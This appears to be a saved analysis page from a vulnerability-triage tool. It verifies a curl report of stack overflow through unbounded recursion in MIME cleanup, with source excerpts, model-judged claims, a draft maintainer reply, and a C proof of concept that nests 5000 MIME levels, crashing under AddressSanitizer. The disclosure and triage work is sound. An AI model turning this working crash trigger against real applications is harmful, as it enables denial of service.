✓ProveIt
Examples / Report #4024222 Saved analysis
The real bug

This one really crashes curl.

CVE-2026-92391: curl_mime_free stack overflow by recursion

curl · 2026-09-1216.5s analysis · $0.021 in model calls

What the report claims

The report says deeply nested MIME data can crash curl during cleanup.

Compare with curl's recorded outcome

Known vulnerability

A real vulnerability: CVE-2026-92391 curl_mime_free stack overflow by recursion

Shown for comparison after analysis. The pipeline did not see this label.

ProveIt's finding

Code supports the claim

ProveIt found the recursive cleanup path. A separate offline run in a Nebius sandbox caught a stack overflow inside curl.

Why this finding?
  • The cleanup path (curl_mime_free -> Curl_mime_cleanpart -> cleanup_part_content -> mime_subparts_free -> curl_mime_free) forms a mutual recursion with no depth limit, while the read path enforces MAX_MIME_LEVELS=40.
  • Construction APIs (curl_mime_addpart, curl_mime_subparts) impose no depth limit, so the cleanup code must handle arbitrarily deep structures.
  • The same unbounded recursion exists in multipart_size and Curl_mime_prepare_headers.
  • An application processing attacker-controlled MIME structure depth can be crashed reliably via stack overflow during cleanup — a denial-of-service vulnerability in the library.
The key evidence

The cleanup path

Each nested part enters cleanup again. Deep enough nesting exhausts the stack.

Inspect lib/mime.c:1122 →
lib/mime.c@7bbaf2fffd94Source from the saved analysis
1113void curl_mime_free(curl_mime *mime)
1114{
1115 curl_mimepart *part;
1116
1117 if(mime) {
1118 mime_subparts_unbind(mime); /* Be sure it is not referenced anymore. */
1119 while(mime->firstpart) {
1120 part = mime->firstpart;
1121 mime->firstpart = part->nextpart;
1122 Curl_mime_cleanpart(part);
1123 curlx_free(part);
1124 }
1125 curlx_free(mime);
1126 }
1127}
How this analysis ran 5 claims · 18 citations verified

Checked against curl master on 2026-09-12 (7bbaf2fffd94). Test evaluation split. Citation verification checks that a referenced line was in the evidence; it does not prove the model interpreted it correctly.

1 · Grounding
partially grounded
no model · 20 references checked out, 1 did not
2 · Claims
NVIDIA-Nemotron-3-Nano-30B-A3B
5 claims · 2715 tokens · $0.0003
3 · Evidence
13 code snippets
real curl source at 7bbaf2fffd94 · 1 docs via Tavily
4 · Judgment
Nemotron-3-Ultra-550b-a55b
15065 tokens · 11.6s · $0.0211
5 · Receipts
18 of 18 citations verified
every citation must point at code the judge was shown
6 · Reproduction
Reproduced under AddressSanitizer
Nebius sandbox · curl 8.22.0 under AddressSanitizer, offline

Proof-of-concept result

Stack overflow caught inside curl

The report's proof of concept, built against this curl release and run offline, tripped a sanitizer inside curl's code.

SUMMARY: AddressSanitizer: stack-overflow /src/curl/lib/mime.c:1088 in mime_subparts_unbind

Saved sandbox run · The proof of concept was compiled against curl 8.22.0, built from source with AddressSanitizer and UBSan, then run in an isolated VM with networking disabled. Expected: The program crashes with a stack overflow detected by AddressSanitizer, printing 'freeing 5000 nested MIME levels' before triggering the overflow.

The script that ran (c)
#include <curl/curl.h>
#include <stdio.h>

int main(void)
{
  CURL *easy;
  curl_mime *root;
  curl_mime *current;
  int i;

  curl_global_init(CURL_GLOBAL_ALL);
  easy = curl_easy_init();
  root = curl_mime_init(easy);
  current = root;
  if(!easy || !root)
    return 1;

  for(i = 0; i < 5000; i++) {
    curl_mimepart *part = curl_mime_addpart(current);
    curl_mime *child = curl_mime_init(easy);
    if(!part || !child)
      return 1;
    curl_mime_subparts(part, child);
    current = child;
  }
  printf("freeing 5000 nested MIME levels\n");
  fflush(stdout);
  curl_mime_free(root);
  curl_easy_cleanup(easy);
  curl_global_cleanup();
  return 0;
}
Sandbox output
PROVEIT_COMPILED
freeing 5000 nested MIME levels
POC_EXIT=1
PROVEIT_REPRO_DONE

ib/mime.c:1059
    #188 0x427699 in Curl_mime_cleanpart /src/curl/lib/mime.c:1101
    #189 0x427b31 in curl_mime_free /src/curl/lib/mime.c:1122
    #190 0x427cd5 in mime_subparts_free /src/curl/lib/mime.c:1083
    #191 0x42129c in cleanup_part_content /src/curl/lib/mime.c:1059
    #192 0x427699 in Curl_mime_cleanpart /src/curl/lib/mime.c:1101
    #193 0x427b31 in curl_mime_free /src/curl/lib/mime.c:1122
    #194 0x427cd5 in mime_subparts_free /src/curl/lib/mime.c:1083
    #195 0x42129c in cleanup_part_content /src/curl/lib/mime.c:1059
    #196 0x427699 in Curl_mime_cleanpart /src/curl/lib/mime.c:1101
    #197 0x427b31 in curl_mime_free /src/curl/lib/mime.c:1122
    #198 0x427cd5 in mime_subparts_free /src/curl/lib/mime.c:1083
    #199 0x42129c in cleanup_part_content /src/curl/lib/mime.c:1059
    #200 0x427699 in Curl_mime_cleanpart /src/curl/lib/mime.c:1101
    #201 0x427b31 in curl_mime_free /src/curl/lib/mime.c:1122
    #202 0x427cd5 in mime_subparts_free /src/curl/lib/mime.c:1083
    #203 0x42129c in cleanup_part_content /src/curl/lib/mime.c:1059
    #204 0x427699 in Curl_mime_cleanpart /src/curl/lib/mime.c:1101
    #205 0x427b31 in curl_mime_free /src/curl/lib/mime.c:1122
    #206 0x427cd5 in mime_subparts_free /src/curl/lib/mime.c:1083
    #207 0x42129c in cleanup_part_content /src/curl/lib/mime.c:1059
    #208 0x427699 in Curl_mime_cleanpart /src/curl/lib/mime.c:1101
    #209 0x427b31 in curl_mime_free /src/curl/lib/mime.c:1122
    #210 0x427cd5 in mime_subparts_free /src/curl/lib/mime.c:1083
    #211 0x42129c in cleanup_part_content /src/curl/lib/mime.c:1059
    #212 0x427699 in Curl_mime_cleanpart /src/curl/lib/mime.c:1101
    #213 0x427b31 in curl_mime_free /src/curl/lib/mime.c:1122
    #214 0x427cd5 in mime_subparts_free /src/curl/lib/mime.c:1083
    #215 0x42129c in cleanup_part_content /src/curl/lib/mime.c:1059
    #216 0x427699 in Curl_mime_cleanpart /src/curl/lib/mime.c:1101
    #217 0x427b31 in curl_mime_free /src/curl/lib/mime.c:1122
    #218 0x427cd5 in mime_subparts_free /src/curl/lib/mime.c:1083
    #219 0x42129c in cleanup_part_content /src/curl/lib/mime.c:1059
    #220 0x427699 in Curl_mime_cleanpart /src/curl/lib/mime.c:1101
    #221 0x427b31 in curl_mime_free /src/curl/lib/mime.c:1122
    #222 0x427cd5 in mime_subparts_free /src/curl/lib/mime.c:1083
    #223 0x42129c in cleanup_part_content /src/curl/lib/mime.c:1059
    #224 0x427699 in Curl_mime_cleanpart /src/curl/lib/mime.c:1101
    #225 0x427b31 in curl_mime_free /src/curl/lib/mime.c:1122
    #226 0x427cd5 in mime_subparts_free /src/curl/lib/mime.c:1083
    #227 0x42129c in cleanup_part_content /src/curl/lib/mime.c:1059
    #228 0x427699 in Curl_mime_cleanpart /src/curl/lib/mime.c:1101
    #229 0x427b31 in curl_mime_free /src/curl/lib/mime.c:1122
    #230 0x427cd5 in mime_subparts_free /src/curl/lib/mime.c:1083
    #231 0x42129c in cleanup_part_content /src/curl/lib/mime.c:1059
    #232 0x427699 in Curl_mime_cleanpart /src/curl/lib/mime.c:1101
    #233 0x427b31 in curl_mime_free /src/curl/lib/mime.c:1122
    #234 0x427cd5 in mime_subparts_free /src/curl/lib/mime.c:1083
    #235 0x42129c in cleanup_part_content /src/curl/lib/mime.c:1059
    #236 0x427699 in Curl_mime_cleanpart /src/curl/lib/mime.c:1101
    #237 0x427b31 in curl_mime_free /src/curl/lib/mime.c:1122
    #238 0x427cd5 in mime_subparts_free /src/curl/lib/mime.c:1083
    #239 0x42129c in cleanup_part_content /src/curl/lib/mime.c:1059
    #240 0x427699 in Curl_mime_cleanpart /src/curl/lib/mime.c:1101
    #241 0x427b31 in curl_mime_free /src/curl/lib/mime.c:1122
    #242 0x427cd5 in mime_subparts_free /src/curl/lib/mime.c:1083
    #243 0x42129c in cleanup_part_content /src/curl/lib/mime.c:1059
    #244 0x427699 in Curl_mime_cleanpart /src/curl/lib/mime.c:1101
    #245 0x427b31 in curl_mime_free /src/curl/lib/mime.c:1122
    #246 0x427cd5 in mime_subparts_free /src/curl/lib/mime.c:1083

SUMMARY: AddressSanitizer: stack-overflow /src/curl/lib/mime.c:1088 in mime_subparts_unbind
==17==ABORTING
Review a draft reply to the reporter

Edit and verify before sending.

Thanks for the detailed report and PoC. The code confirms the cleanup path (curl_mime_free, Curl_mime_cleanpart, cleanup_part_content, mime_subparts_free) recurses mutually with no depth guard, while the read path enforces MAX_MIME_LEVELS=40. Construction APIs also lack a limit. This is a valid denial-of-service issue: an application that builds MIME structures from untrusted input can be crashed on cleanup. We'll add depth tracking to the cleanup, sizing, and header-preparation paths, mirroring the read_part_content pattern.

Inspect all claims and source code 5 claims · 13 code excerpts

Report claims

C1flaw supported

The cleanup functions form a mutual recursion with no depth limit, causing stack overflow during MIME structure cleanup.

Read the reasoning

The code shows a clear mutual recursion chain: curl_mime_free -> Curl_mime_cleanpart -> cleanup_part_content -> mime_subparts_free -> curl_mime_free, with no depth limit in any of these functions. The read path (read_part_content) has a MAX_MIME_LEVELS=40 guard, but the cleanup path lacks any equivalent protection.

C2location supported

The issue occurs in `curl_mime_free`, `Curl_mime_cleanpart`, `cleanup_part_content`, and `mime_subparts_free` functions in `lib/mime.c`.

Read the reasoning

All four functions cited in the claim exist in lib/mime.c at the shown lines and form the recursive cleanup chain.

C3trigger supported

A deeply nested multipart structure built via `curl_mime_addpart` and `curl_mime_subparts` triggers the stack overflow when freed.

Read the reasoning

The construction APIs (curl_mime_addpart, curl_mime_subparts) impose no nesting depth limit. When a part's kind is MIMEKIND_MULTIPART, its freefunc is set to mime_subparts_free, which triggers the recursive cleanup chain when curl_mime_free is called on the root.

C4impact supported

Process termination via stack overflow when freeing the MIME structure.

Read the reasoning

The mutual recursion has no termination condition based on depth. Each level adds ~4 stack frames (per report, consistent with call chain). At sufficient depth (e.g., 5000 in PoC), this exhausts the stack, causing process termination (stack overflow).

C5reproduction supported

The provided proof of concept constructs 5000 nested MIME levels and calls `curl_mime_free` to trigger the overflow.

Read the reasoning

The PoC logic maps directly to the API: it creates 5000 nested MIME levels via curl_mime_addpart and curl_mime_subparts in a loop, then calls curl_mime_free(root). The provided code shows these functions accept unlimited nesting and the cleanup path has no depth guard, so the PoC would trigger the stack overflow as described.

Deterministic checks that failed

  • line none of cleanup_part_content, freefunc, mime_subparts_free, curl_mime_free appear near line 47 at 7bbaf2fffd94; it reads: '#define MAX_MIME_LEVELS 40 /* avoid deep nesting */'
Read the original report (excerpt)

Full report on HackerOne ↗

Hi all, I've discovered a stack overflow in libcurl's MIME cleanup code. The read path in the MIME implementation is protected by a recursion depth limit (`MAX_MIME_LEVELS = 40`, defined at line 47 of `lib/mime.c` and checked in `read_part_content` and related functions), but the cleanup path has no equivalent guard. A deeply nested multipart structure built through the public API will crash the process when freed. ## Impact Any application using the libcurl MIME API (`curl_mime_addpart` / `curl_mime_subparts`) to process user-controlled MIME structure depth is at risk. The crash happens inside `curl_mime_free` as part of normal cleanup, so once the structure is built, there is no way to avoid it. In a server-side context where an application constructs a MIME request based on external input, an attacker can cause reliable process termination by supplying input that drives the nesting depth high enough. This does not appear to be exploitable for code execution. ## Root cause The cleanup functions form a mutual recursion with no depth limit. When a `curl_mimepart` holds subparts (set via `curl_mime_subparts`), the part's `freefunc` is set to `mime_subparts_free`. During `curl_mime_free`, the call chain is: `curl_mime_free` -> `Curl_mime_cleanpart` -> `cleanup_part_content` -> `part->freefunc()` (i.e., `mime_subparts_free`) -> `curl_mime_free` -> ... The relevant code in `lib/mime.c`: ```c /* line 1056 */ static void cleanup_part_content(curl_mimepart *part) { if(part->freefunc) part->freefunc(part->arg); /* calls mime_subparts_free for multipart parts */ ... } /* line 1075 */ static void mime_subparts_free(void *ptr) { curl_mime *mime = (curl_mime *)ptr; if(mime && mime->parent) { mime->parent->freefunc = NULL; cleanup_part_content(mime->parent); } curl_mime_free(mime); /* recurses back into curl_mime_free */ } /* line 1113 */ void curl_mime_free(curl_mime *mime) { curl_mimepart *part; if(mime) { mime_subparts_unbind(mime); while(mime->firstpart) { part = mime->firstpart; mime->firstpart = part->nextpart; Curl_mime_cleanpart(part); /* calls cleanup_part_content */ curlx_free(part); } curlx_free(mime); } } ``` Each nesting level adds roughly four stack frames. At 5000 levels the stack overflows (just an example number here, obvious dependent on system, memory, the o …

Source code

lib/mime.clines 1113–1127 · definition of curl_mime_free
1113void curl_mime_free(curl_mime *mime)
C2: curl_mime_free definition
C5: curl_mime_free called on root
1114{
1115 curl_mimepart *part;
1116
1117 if(mime) {
1118 mime_subparts_unbind(mime); /* Be sure it is not referenced anymore. */
1119 while(mime->firstpart) {
1120 part = mime->firstpart;
1121 mime->firstpart = part->nextpart;
1122 Curl_mime_cleanpart(part);
C1: curl_mime_free calls Curl_mime_cleanpart(part)
1123 curlx_free(part);
1124 }
1125 curlx_free(mime);
1126 }
1127}
lib/mime.clines 1098–1110 · definition of Curl_mime_cleanpart
1098void Curl_mime_cleanpart(curl_mimepart *part)
C2: Curl_mime_cleanpart definition
1099{
1100 if(part) {
1101 cleanup_part_content(part);
C1: Curl_mime_cleanpart calls cleanup_part_content(part)
1102 curl_slist_free_all(part->curlheaders);
1103 if(part->flags & MIME_USERHEADERS_OWNER)
1104 curl_slist_free_all(part->userheaders);
1105 curlx_safefree(part->mimetype);
1106 curlx_safefree(part->name);
1107 curlx_safefree(part->filename);
1108 Curl_mime_initpart(part);
1109 }
1110}
lib/mime.clines 1056–1073 · definition of cleanup_part_content
1056static void cleanup_part_content(curl_mimepart *part)
C2: cleanup_part_content definition
1057{
1058 if(part->freefunc)
1059 part->freefunc(part->arg);
C1: cleanup_part_content calls part->freefunc(part->arg) with no depth check
C4: Recursive call chain with no base case for depth
1060
1061 part->readfunc = NULL;
1062 part->seekfunc = NULL;
1063 part->freefunc = NULL;
1064 part->arg = (void *)part; /* Defaults to part itself. */
1065 part->data = NULL;
1066 part->fp = NULL;
1067 part->datasize = (curl_off_t)0; /* No size yet. */
1068 cleanup_encoder_state(&part->encstate);
1069 part->kind = MIMEKIND_NONE;
1070 part->flags &= ~(unsigned int)MIME_FAST_READ;
1071 part->lastreadstatus = 1; /* Successful read status. */
1072 part->state.state = MIMESTATE_BEGIN;
1073}
lib/mime.clines 1244–1266 · definition of curl_mime_addpart
1244curl_mimepart *curl_mime_addpart(curl_mime *mime)
C3: curl_mime_addpart creates parts with no depth limit
C5: curl_mime_addpart used in loop
1245{
1246 curl_mimepart *part;
1247
1248 if(!mime)
1249 return NULL;
1250
1251 part = curlx_malloc(sizeof(*part));
1252
1253 if(part) {
1254 Curl_mime_initpart(part);
1255 part->parent = mime;
1256
1257 if(mime->lastpart)
1258 mime->lastpart->nextpart = part;
1259 else
1260 mime->firstpart = part;
1261
1262 mime->lastpart = part;
1263 }
1264
1265 return part;
1266}
lib/mime.clines 1519–1522 · definition of curl_mime_subparts
1519CURLcode curl_mime_subparts(curl_mimepart *part, curl_mime *subparts)
C3: curl_mime_subparts sets subparts with no depth limit
C5: curl_mime_subparts used in loop
1520{
1521 return Curl_mime_set_subparts(part, subparts, TRUE);
1522}
lib/mime.clines 1075–1084 · definition of mime_subparts_free
1075static void mime_subparts_free(void *ptr)
C2: mime_subparts_free definition
C3: mime_subparts_free is set as freefunc for multipart parts
1076{
1077 curl_mime *mime = (curl_mime *)ptr;
1078
1079 if(mime && mime->parent) {
1080 mime->parent->freefunc = NULL; /* Be sure we will not be called again. */
1081 cleanup_part_content(mime->parent); /* Avoid dangling pointer in part. */
C1: mime_subparts_free calls cleanup_part_content(mime->parent)
1082 }
1083 curl_mime_free(mime);
C1: mime_subparts_free calls curl_mime_free(mime) - mutual recursion
C4: Each nesting level adds multiple stack frames
1084}
lib/mime.clines 703–770 · definition of read_part_content
703static size_t read_part_content(curl_mimepart *part, char *buffer,
704 size_t bufsize, bool *hasread,
705 size_t call_depth)
706{
707 size_t sz = 0;
708
709 if(++call_depth > MAX_MIME_LEVELS)
C1: read_part_content has depth check: if(++call_depth > MAX_MIME_LEVELS) return READ_ERROR;
710 return READ_ERROR;
711
712 switch(part->lastreadstatus) {
713 case 0:
714 case CURL_READFUNC_ABORT:
715 case CURL_READFUNC_PAUSE:
716 case READ_ERROR:
717 return part->lastreadstatus;
718 default:
719 break;
720 }
721
722 /* If we can determine we are at end of part data, spare a read. */
723 if(part->datasize != (curl_off_t)-1 &&
724 part->state.offset >= part->datasize) {
725 /* sz is already zero. */
726 }
727 else {
728 switch(part->kind) {
729 case MIMEKIND_MULTIPART:
730 /*
731 * Cannot be processed as other kinds since read function requires
732 * an additional parameter and is highly recursive.
733 */
734 sz = mime_subparts_read(buffer, 1, bufsize, part->arg, hasread,
735 call_depth);
736 break;
737 case MIMEKIND_FILE:
738 if(part->fp && feof(part->fp))
739 break; /* At EOF. */
740 FALLTHROUGH();
741 default:
742 if(part->readfunc) {
743 if(!(part->flags & MIME_FAST_READ)) {
744 if(*hasread)
745 return STOP_FILLING;
746 *hasread = TRUE;
747 }
748 sz = part->readfunc(buffer, 1, bufsize, part->arg);
749 }
750 break;
751 }
752 }
753
754 switch(sz) {
755 case STOP_FILLING:
756 break;
757 case 0:
758 case CURL_READFUNC_ABORT:
759 case CURL_READFUNC_PAUSE:
760 case READ_ERROR:
761 part->lastreadstatus = sz;
762 break;
763 default:
764 part->state.offset += sz;
765 part->lastreadstatus = sz;
766 break;
767 }
768
769 return sz;
770}
lib/mime.clines 1761–1868 · definition of Curl_mime_prepare_headers
Show 108 lines (not cited by the judge)
1761CURLcode Curl_mime_prepare_headers(struct Curl_easy *data,
1762 curl_mimepart *part,
1763 const char *contenttype,
1764 const char *disposition,
1765 enum mimestrategy strategy)
1766{
1767 curl_mime *mime = NULL;
1768 const char *boundary = NULL;
1769 char *customct;
1770 const char *cte = NULL;
1771 CURLcode result = CURLE_OK;
1772
1773 /* Get rid of previously prepared headers. */
1774 curl_slist_free_all(part->curlheaders);
1775 part->curlheaders = NULL;
1776
1777 /* Be sure we will not access old headers later. */
1778 if(part->state.state == MIMESTATE_CURLHEADERS)
1779 mimesetstate(&part->state, MIMESTATE_CURLHEADERS, NULL);
1780
1781 /* Check if content type is specified. */
1782 customct = part->mimetype;
1783 if(!customct)
1784 customct = search_header(part->userheaders, STRCONST("Content-Type"));
1785 if(customct)
1786 contenttype = customct;
1787
1788 /* If content type is not specified, try to determine it. */
1789 if(!contenttype) {
1790 switch(part->kind) {
1791 case MIMEKIND_MULTIPART:
1792 contenttype = MULTIPART_CONTENTTYPE_DEFAULT;
1793 break;
1794 case MIMEKIND_FILE:
1795 contenttype = Curl_mime_contenttype(part->filename);
1796 if(!contenttype)
1797 contenttype = Curl_mime_contenttype(part->data);
1798 if(!contenttype && part->filename)
1799 contenttype = FILE_CONTENTTYPE_DEFAULT;
1800 break;
1801 default:
1802 contenttype = Curl_mime_contenttype(part->filename);
1803 break;
1804 }
1805 }
1806
1807 if(part->kind == MIMEKIND_MULTIPART) {
1808 mime = (curl_mime *)part->arg;
1809 if(mime)
1810 boundary = mime->boundary;
1811 }
1812 else if(contenttype && !customct &&
1813 content_type_match(contenttype, STRCONST("text/plain")) &&
1814 (strategy == MIMESTRATEGY_MAIL || !part->filename))
1815 contenttype = NULL;
1816
1817 /* Issue content-disposition header only if not already set by caller. */
1818 if(!search_header(part->userheaders, STRCONST("Content-Disposition"))) {
1819 result = add_content_disposition(data, part, disposition,
1820 contenttype, strategy);
1821 if(result)
1822 return result;
1823 }
1824
1825 /* Issue Content-Type header. */
1826 if(contenttype) {
1827 result = add_content_type(&part->curlheaders, contenttype, boundary);
1828 if(result)
1829 return result;
1830 }
1831
1832 /* Content-Transfer-Encoding header. */
1833 if(!search_header(part->userheaders,
1834 STRCONST("Content-Transfer-Encoding"))) {
1835 if(part->encoder)
1836 cte = part->encoder->name;
1837 else if(contenttype && strategy == MIMESTRATEGY_MAIL &&
1838 part->kind != MIMEKIND_MULTIPART)
1839 cte = "8bit";
1840 if(cte) {
1841 result = Curl_mime_add_header(&part->curlheaders,
1842 "Content-Transfer-Encoding: %s", cte);
1843 if(result)
1844 return result;
1845 }
1846 }
1847
1848 /* If we were reading curl-generated headers, restart with new ones (this
1849 should not occur). */
1850 if(part->state.state == MIMESTATE_CURLHEADERS)
1851 mimesetstate(&part->state, MIMESTATE_CURLHEADERS, part->curlheaders);
1852
1853 /* Process subparts. */
1854 if(part->kind == MIMEKIND_MULTIPART && mime) {
1855 curl_mimepart *subpart;
1856
1857 disposition = NULL;
1858 if(content_type_match(contenttype, STRCONST("multipart/form-data")))
1859 disposition = "form-data";
1860 for(subpart = mime->firstpart; subpart; subpart = subpart->nextpart) {
1861 result = Curl_mime_prepare_headers(data, subpart, NULL,
1862 disposition, strategy);
1863 if(result)
1864 return result;
1865 }
1866 }
1867 return result;
1868}
lib/mime.c@curl-8_22_0lines 1759–1866 · definition of Curl_mime_prepare_headers as in release curl-8_22_0; differs from master; commits that changed it since: ba666ecef6 clang-tidy: merge nested `if()`s
Show 108 lines (not cited by the judge)
1759CURLcode Curl_mime_prepare_headers(struct Curl_easy *data,
1760 curl_mimepart *part,
1761 const char *contenttype,
1762 const char *disposition,
1763 enum mimestrategy strategy)
1764{
1765 curl_mime *mime = NULL;
1766 const char *boundary = NULL;
1767 char *customct;
1768 const char *cte = NULL;
1769 CURLcode result = CURLE_OK;
1770
1771 /* Get rid of previously prepared headers. */
1772 curl_slist_free_all(part->curlheaders);
1773 part->curlheaders = NULL;
1774
1775 /* Be sure we will not access old headers later. */
1776 if(part->state.state == MIMESTATE_CURLHEADERS)
1777 mimesetstate(&part->state, MIMESTATE_CURLHEADERS, NULL);
1778
1779 /* Check if content type is specified. */
1780 customct = part->mimetype;
1781 if(!customct)
1782 customct = search_header(part->userheaders, STRCONST("Content-Type"));
1783 if(customct)
1784 contenttype = customct;
1785
1786 /* If content type is not specified, try to determine it. */
1787 if(!contenttype) {
1788 switch(part->kind) {
1789 case MIMEKIND_MULTIPART:
1790 contenttype = MULTIPART_CONTENTTYPE_DEFAULT;
1791 break;
1792 case MIMEKIND_FILE:
1793 contenttype = Curl_mime_contenttype(part->filename);
1794 if(!contenttype)
1795 contenttype = Curl_mime_contenttype(part->data);
1796 if(!contenttype && part->filename)
1797 contenttype = FILE_CONTENTTYPE_DEFAULT;
1798 break;
1799 default:
1800 contenttype = Curl_mime_contenttype(part->filename);
1801 break;
1802 }
1803 }
1804
1805 if(part->kind == MIMEKIND_MULTIPART) {
1806 mime = (curl_mime *)part->arg;
1807 if(mime)
1808 boundary = mime->boundary;
1809 }
1810 else if(contenttype && !customct &&
1811 content_type_match(contenttype, STRCONST("text/plain")))
1812 if(strategy == MIMESTRATEGY_MAIL || !part->filename)
1813 contenttype = NULL;
1814
1815 /* Issue content-disposition header only if not already set by caller. */
1816 if(!search_header(part->userheaders, STRCONST("Content-Disposition"))) {
1817 result = add_content_disposition(data, part, disposition,
1818 contenttype, strategy);
1819 if(result)
1820 return result;
1821 }
1822
1823 /* Issue Content-Type header. */
1824 if(contenttype) {
1825 result = add_content_type(&part->curlheaders, contenttype, boundary);
1826 if(result)
1827 return result;
1828 }
1829
1830 /* Content-Transfer-Encoding header. */
1831 if(!search_header(part->userheaders,
1832 STRCONST("Content-Transfer-Encoding"))) {
1833 if(part->encoder)
1834 cte = part->encoder->name;
1835 else if(contenttype && strategy == MIMESTRATEGY_MAIL &&
1836 part->kind != MIMEKIND_MULTIPART)
1837 cte = "8bit";
1838 if(cte) {
1839 result = Curl_mime_add_header(&part->curlheaders,
1840 "Content-Transfer-Encoding: %s", cte);
1841 if(result)
1842 return result;
1843 }
1844 }
1845
1846 /* If we were reading curl-generated headers, restart with new ones (this
1847 should not occur). */
1848 if(part->state.state == MIMESTATE_CURLHEADERS)
1849 mimesetstate(&part->state, MIMESTATE_CURLHEADERS, part->curlheaders);
1850
1851 /* Process subparts. */
1852 if(part->kind == MIMEKIND_MULTIPART && mime) {
1853 curl_mimepart *subpart;
1854
1855 disposition = NULL;
1856 if(content_type_match(contenttype, STRCONST("multipart/form-data")))
1857 disposition = "form-data";
1858 for(subpart = mime->firstpart; subpart; subpart = subpart->nextpart) {
1859 result = Curl_mime_prepare_headers(data, subpart, NULL,
1860 disposition, strategy);
1861 if(result)
1862 return result;
1863 }
1864 }
1865 return result;
1866}
lib/curl_setup.hlines 1428–1428 · definition of curlx_free
Show 1 lines (not cited by the judge)
1428#define curlx_free(ptr) curl_dbg_free(ptr, __LINE__, __FILE__)
lib/mime.clines 1087–1096 · definition of mime_subparts_unbind
Show 10 lines (not cited by the judge)
1087static void mime_subparts_unbind(void *ptr)
1088{
1089 curl_mime *mime = (curl_mime *)ptr;
1090
1091 if(mime && mime->parent) {
1092 mime->parent->freefunc = NULL; /* Be sure we will not be called again. */
1093 cleanup_part_content(mime->parent); /* Avoid dangling pointer in part. */
1094 mime->parent = NULL;
1095 }
1096}
lib/mime.clines 1570–1593 · definition of multipart_size
Show 24 lines (not cited by the judge)
1570static curl_off_t multipart_size(curl_mime *mime)
1571{
1572 curl_off_t size;
1573 curl_off_t boundarysize;
1574 curl_mimepart *part;
1575
1576 if(!mime)
1577 return 0; /* Not present -> empty. */
1578
1579 boundarysize = 4 + MIME_BOUNDARY_LEN + 2;
1580 size = boundarysize; /* Final boundary - CRLF after headers. */
1581
1582 for(part = mime->firstpart; part; part = part->nextpart) {
1583 curl_off_t sz = mime_size(part);
1584
1585 if(sz < 0)
1586 size = sz;
1587
1588 if(size >= 0)
1589 size += boundarysize + sz;
1590 }
1591
1592 return size;
1593}
lib/optiontable.pllines 84–125 · definition of while
Show 42 lines (not cited by the judge)
84while(<CURL_H>) {
85 my $l = $_;
86 if($fl) {
87 # continued deprecation
88 if($l =~ /(.*)\),/) {
89 $fl .= $1;
90
91 # the end
92 my @p = split(/, */, $fl);
93 add($p[0], $p[1], $p[2]);
94 undef $fl;
95 }
96 else {
97 # another line to append
98 chomp $l;
99 $fl .= $l;
100 }
101 }
102
103 if(/^ *CURLOPTDEPRECATED\((.*)/) {
104 $fl = $1;
105 chomp $fl;
106 }
107
108 if(/^ *CURLOPT\(([^,]*), ([^,]*), (\d+)\)/) {
109 my($opt, $type, $num) = ($1, $2, $3);
110 add($opt, $type, $num);
111 }
112
113 # alias for an older option
114 # old = new
115 if(/^#define (CURLOPT_[^ ]*) *(CURLOPT_\S*)/) {
116 my ($o, $n) = ($1, $2);
117 # skip obsolete ones
118 if(($n !~ /OBSOLETE/) && ($o !~ /OBSOLETE/)) {
119 $o =~ s/^CURLOPT_//;
120 $n =~ s/^CURLOPT_//;
121 $alias{$o} = $n;
122 push @names, $o;
123 }
124 }
125}